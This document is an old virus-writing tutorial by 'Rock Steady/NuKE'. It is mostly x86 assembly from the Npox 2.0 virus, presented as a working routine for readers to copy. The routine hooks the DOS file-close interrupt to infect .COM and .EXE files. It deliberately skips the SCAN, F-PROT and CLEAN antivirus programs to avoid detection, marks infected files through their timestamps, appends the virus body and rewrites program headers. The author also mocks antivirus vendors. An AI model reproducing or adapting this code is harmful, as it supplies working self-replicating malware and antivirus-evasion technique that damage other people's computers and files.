home *** CD-ROM | disk | FTP | other *** search
- ****************************
- ** Infection on Closing **
- ** **
- ** By Rock Steady/NuKE **
- ****************************
-
- This routine goes out for a few people that had trouble hacking this
- routine themselves... I kinda like it, its my very OWN, no Dark Avenger
- hack, it is VERY straight forward, and kinda simple...I was not going
- to put this here, but since I `Promised' people and left them hanging
- with `Wait for IJ#5, I guess I owed you it... huh?'
-
- Again this code comes right out of Npox 2.0, its need, simple fast,
- cool, and it works, Npox is your example, I heard MANY MANY complaints
- with other `Virus writing guides' Meaning they explained the code but
- sometimes the arthur himself never check if the code was good, as he
- may have modified it, and not test it... or whatever reason... Anyhow
-
- ------------------
- Okay once you intercepted the Int21h/ah=3Dh function you make it jump
- here...
-
- closing_file: cmp bx,0h ;Handle=0?
- je closing_bye ;if equal leave
- cmp bx,4h ;Handle > 4
- ja close_cont ;if YES ,then JUMP!
- closing_bye: jmp dword ptr cs:[int21] ;Leave, no interest to us
-
- The whole point of the above code is that DOS contains 5 predefined
- Handlers, 0 -> 4, Basically, those handles are the NULL, CON, AUX
- COMx, LPTx handles... So we surely do not need to continue once we
- encounter that...
-
- close_cont: push ax
- push bx
- push cx
- push dx
- push di
- push ds
- push es
- push bp
-
- Our biggest problem is how do we know if this file is a .COM or .EXE or
- simply just another dumb data file? We need this info before we can
- try to infect it... We do this by getting DOS's "Lists of List" this
- will give us all INFO need on the File Handle Number we have in BX!
- and we do that like so...
-
- push bx ;Save File Handle
- mov ax,1220h ;Get the Job File Table
- int 2fh ;(JFT)
-
- This will give us the JFT for the CURRENT File handle in BX, which
- is given thru ES:DI Then we use this information to get the Address of
- the System File Table!
-
- mov ax,1216h ;Get System File Table (List)
- mov bl,es:[di] ;system file table entry number
- int 2fh
- pop bx ;restore the Handle
-
- add di,0011h
- mov byte ptr es:[di-0fh],02h
-
- add di,0017h ;Jump to the ASCIIZ string
- cmp word ptr es:[di],'OC' ;Is it a .COM file?
- jne closing_next_try ;Next cmp...
- cmp byte ptr es:[di+2h],'M'
- jne pre_exit ;Nope exit
- jmp closing_cunt3 ;.COM file continue
-
- closing_next_try:
- cmp word ptr es:[di],'XE' ;Is it a .EXE file?
- jne pre_exit ;No, exit
- cmp byte ptr es:[di+2h],'E'
- jne pre_exit ;No, exit
-
- If it is an .EXE file, check if it is F-PROT or SCAN, see F-PROT when
- started up, Opens itself, closes itself, etc... So that a dumb
- virus will infect it, and then the CRC value changes and F-PROT
- screams... haha... Fuck-Prot! is the name...
-
- closing_cunt: cmp word ptr es:[di-8],'CS'
- jnz closing_cunt1 ;SCAN
- cmp word ptr es:[di-6],'NA'
- jz pre_exit
-
- closing_cunt1: cmp word ptr es:[di-8],'-F'
- jnz closing_cunt2 ;F-PROT
- cmp word ptr es:[di-6],'RP'
- jz pre_exit
-
- closing_cunt2: cmp word ptr es:[di-8],'LC'
- jnz closing_cunt3
- cmp word ptr es:[di-6],'AE' ;CLEAN
- jnz closing_cunt3
-
- pre_exit: jmp closing_nogood
-
- The REST is pretty much the EXACT same on `how' you'd infect a normal
- file, I'll leave it for you to go thru it... The hardest part is
- OVER! Only trick part is, the ending... Remember to Close the file
- and then do an IRET, you don't leave control to dos, as you only needed
- to close it, so do it... OR DON'T close it and return to DOS, as dos
- will close it, just DON'T CLOSE IT TWICE!!!!
-
- closing_cunt3: mov ax,5700h ;Get file Time
- call calldos21
- mov al,cl
- or cl,1fh
- dec cx ;60 Seconds
- xor al,cl
- jz closing_nogood ;Already infected
-
- push cs
- pop ds
- mov word ptr ds:[old_time],cx ;Save time
- mov word ptr ds:[old_date],dx
-
- mov ax,4200h ;jmp beginning of
- xor cx,cx ;file...
- xor dx,dx
- call calldos21
-
- mov ah,3fh ;Get first 1b byte
- mov cx,1Bh
- mov dx,offset buffer
- call calldos21
-
- jc closing_no_good ;error?
- mov ax,4202h ;Jmp to the EOF
- xor cx,cx
- xor dx,dx
- call calldos21
-
- jc closing_no_good
- cmp word ptr ds:[buffer],5A4Dh ;.EXE file?
- je closing_exe ;Yupe then jmp
- mov cx,ax
- sub cx,3h
- mov word ptr ds:[jump_address+1],cx ;Figure out the
- call infect_me ;jmp for .com
-
- jc closing_no_good
- mov ah,40h ;Write it to file
- mov dx,offset jump_address
- mov cx,3h
- call calldos21
- closing_no_good:
- mov cx,word ptr ds:[old_time] ;Save file time
- mov dx,word ptr ds:[old_date] ;& date
- mov ax,5701h
- call calldos21
-
- closing_nogood: pop bp
- pop es
- pop ds
- pop di
- pop dx
- pop cx
- pop bx
- pop ax
- jmp dword ptr cs:[int21]
-
- AS you see the above, we DIDN'T close the file, so we leave dos to do it.
- The bottom is for infecting .exes...
-
- closing_exe: mov cx,word ptr cs:[buffer+20] ;Save the original
- mov word ptr cs:[exe_ip],cx ;CS:IP & SS:SP
- mov cx,word ptr cs:[buffer+22]
- mov word ptr cs:[exe_cs],cx
- mov cx,word ptr cs:[buffer+16]
- mov word ptr cs:[exe_sp],cx
- mov cx,word ptr cs:[buffer+14]
- mov word ptr cs:[exe_ss],cx
-
- push ax
- push dx
- call multiply
- sub dx,word ptr cs:[buffer+8]
- mov word ptr cs:[vir_cs],dx
- push ax
- push dx
- call infect_me
- pop dx
- pop ax
- mov word ptr cs:[buffer+22],dx
- mov word ptr cs:[buffer+20],ax
- pop dx
- pop ax
- jc closing_no_good
-
- add ax,virus_size
- adc dx,0
-
- push ax
- push dx
- call multiply
- sub dx,word ptr cs:[buffer+8]
- add ax,40h
- mov word ptr cs:[buffer+14],dx
- mov word ptr cs:[buffer+16],ax
- pop dx
- pop ax
-
- push bx
- push cx
- mov cl,7
- shl dx,cl
-
- mov bx,ax
- mov cl,9
- shr bx,cl
-
- add dx,bx
- and ax,1FFh
- jz close_split
- inc dx
- close_split: pop cx
- pop bx
-
- mov word ptr cs:[buffer+2],ax
- mov word ptr cs:[buffer+4],dx
-
- mov ah,40h
- mov dx,offset ds:[buffer]
- mov cx,20h
- call calldos21
-
- closing_over: jmp closing_no_good
-
- ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
- ; Infection Routine...
- ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
- infect_me proc
- mov ah,40h
- mov dx,offset init_virus
- mov cx,virus_size
- call calldos21
-
- jc exit_error ;Error Split
- mov ax,4200h
- xor cx,cx ;Pointer back to
- xor dx,dx ;Top of file!
- call calldos21
-
- jc exit_error ;Split Dude...
- clc ;Clear carry flag
- ret
- exit_error:
- stc ;Set carry flag
- ret
- infect_me endp
-
-
-